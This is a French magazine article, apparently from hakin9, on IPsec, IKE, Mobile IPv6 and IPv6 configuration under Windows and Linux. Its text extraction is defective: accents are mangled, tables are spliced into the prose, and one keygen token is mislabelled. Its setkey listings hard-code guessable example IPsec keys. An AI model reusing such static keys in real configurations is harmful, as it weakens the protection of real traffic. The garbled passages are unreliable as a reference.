Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

